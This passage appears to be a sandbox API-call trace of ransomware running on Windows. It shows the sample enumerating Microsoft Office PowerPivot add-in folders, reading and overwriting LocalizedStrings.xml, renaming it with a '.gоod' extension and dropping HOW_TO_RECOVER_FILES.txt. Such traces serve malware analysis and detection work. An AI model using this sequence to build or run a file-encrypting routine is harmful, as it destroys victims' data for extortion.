ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8080, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0252.654] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc34bb5b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc34bb5b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc3e44f2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0252.654] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4266542, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4266542, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42b29f3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0252.654] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b87f8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b87f8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bae279, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0252.654] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0063153, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0089415, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0252.655] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f312a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x86f312a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0252.655] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9a04f26, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9a04f26, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9a04f26, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e78, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0252.656] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfcc3c8ab, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc3c8ab, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcc62b13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0252.656] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x897b914, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x897b914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x97c9c99, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0252.656] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x897b914, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x897b914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x97c9c99, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0252.656] FindClose (in: hFindFile=0x134a7a0 | out: hFindFile=0x134a7a0) returned 1 [0252.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0252.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0252.656] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0252.656] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec9a0) returned 1 [0252.657] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cs\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x39f0960 | out: lpFileInformation=0x39f0960*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16651cf9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16651cf9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16677f4b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1108)) returned 1 [0252.657] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec960) returned 1 [0252.657] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0252.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0252.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cs\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0252.657] GetFileType (hFile=0x864) returned 0x1 [0252.657] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0252.658] GetFileType (hFile=0x864) returned 0x1 [0252.658] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1000 [0252.658] ReadFile (in: hFile=0x864, lpBuffer=0x39f0e18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec9c8, lpOverlapped=0x0 | out: lpBuffer=0x39f0e18*, lpNumberOfBytesRead=0x206ec9c8*=0x108, lpOverlapped=0x0) returned 1 [0252.659] CloseHandle (hObject=0x864) returned 1 [0252.659] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0252.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0252.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cs\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0252.659] GetFileType (hFile=0x864) returned 0x1 [0252.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0252.659] GetFileType (hFile=0x864) returned 0x1 [0252.659] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1108 [0252.659] WriteFile (in: hFile=0x864, lpBuffer=0x39f2130*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ec8e8, lpOverlapped=0x0 | out: lpBuffer=0x39f2130*, lpNumberOfBytesWritten=0x206ec8e8*=0x10, lpOverlapped=0x0) returned 1 [0252.659] CloseHandle (hObject=0x864) returned 1 [0252.660] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0252.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0252.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cs\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0252.660] GetFileType (hFile=0x864) returned 0x1 [0252.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0252.660] GetFileType (hFile=0x864) returned 0x1 [0252.660] ReadFile (in: hFile=0x864, lpBuffer=0x39f4440, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec978, lpOverlapped=0x0 | out: lpBuffer=0x39f4440*, lpNumberOfBytesRead=0x206ec978*=0x1000, lpOverlapped=0x0) returned 1 [0254.428] CloseHandle (hObject=0x864) returned 1 [0254.428] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0254.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0254.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cs\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0254.428] GetFileType (hFile=0x864) returned 0x1 [0254.428] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0254.428] GetFileType (hFile=0x864) returned 0x1 [0254.428] WriteFile (in: hFile=0x864, lpBuffer=0x394ced0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206eca28, lpOverlapped=0x0 | out: lpBuffer=0x394ced0*, lpNumberOfBytesWritten=0x206eca28*=0x1010, lpOverlapped=0x0) returned 1 [0254.428] CloseHandle (hObject=0x864) returned 1 [0254.428] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0254.429] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\LocalizedStrings.xml.gоod", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\LocalizedStrings.xml.gоod", lpFilePart=0x0) returned 0x6b [0254.429] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec960) returned 1 [0254.429] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cs\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x206eca40 | out: lpFileInformation=0x206eca40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16651cf9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16651cf9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x93dc470f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1118)) returned 1 [0254.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec920) returned 1 [0254.429] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cs\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\LocalizedStrings.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cs\\localizedstrings.xml.gоod")) returned 1 [0254.431] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0254.431] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0254.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cs\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x864 [0254.432] GetFileType (hFile=0x864) returned 0x1 [0254.432] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0254.432] GetFileType (hFile=0x864) returned 0x1 [0254.433] WriteFile (in: hFile=0x864, lpBuffer=0x3b34ff8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x3b34ff8*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0254.433] CloseHandle (hObject=0x864) returned 1 [0254.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0254.433] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da", lpFilePart=0x0) returned 0x51 [0254.434] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1662bb01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0254.434] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1662bb01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.435] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1662bb01, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1662bb01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0254.435] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfaf07af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf07af2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaf07af2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0254.435] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3f46636, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3f46636, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3f46636, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x39078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0254.435] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1d4bb8b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d4bb8b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d71cd8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0254.435] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf99462e6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99462e6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99462e6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fda98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0254.435] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2b31ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2b31ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2d943c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0254.435] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80fc2c4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80fc2c4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80fc2c4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0254.436] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3143659, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf3143659, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf3143659, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0254.436] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0254.436] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x305f84a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x305f84a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x36c7dee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0254.436] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4ba375b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4ba375b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5478, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0254.436] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0254.436] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf10a1263, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf12910b6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1a078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0254.436] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: 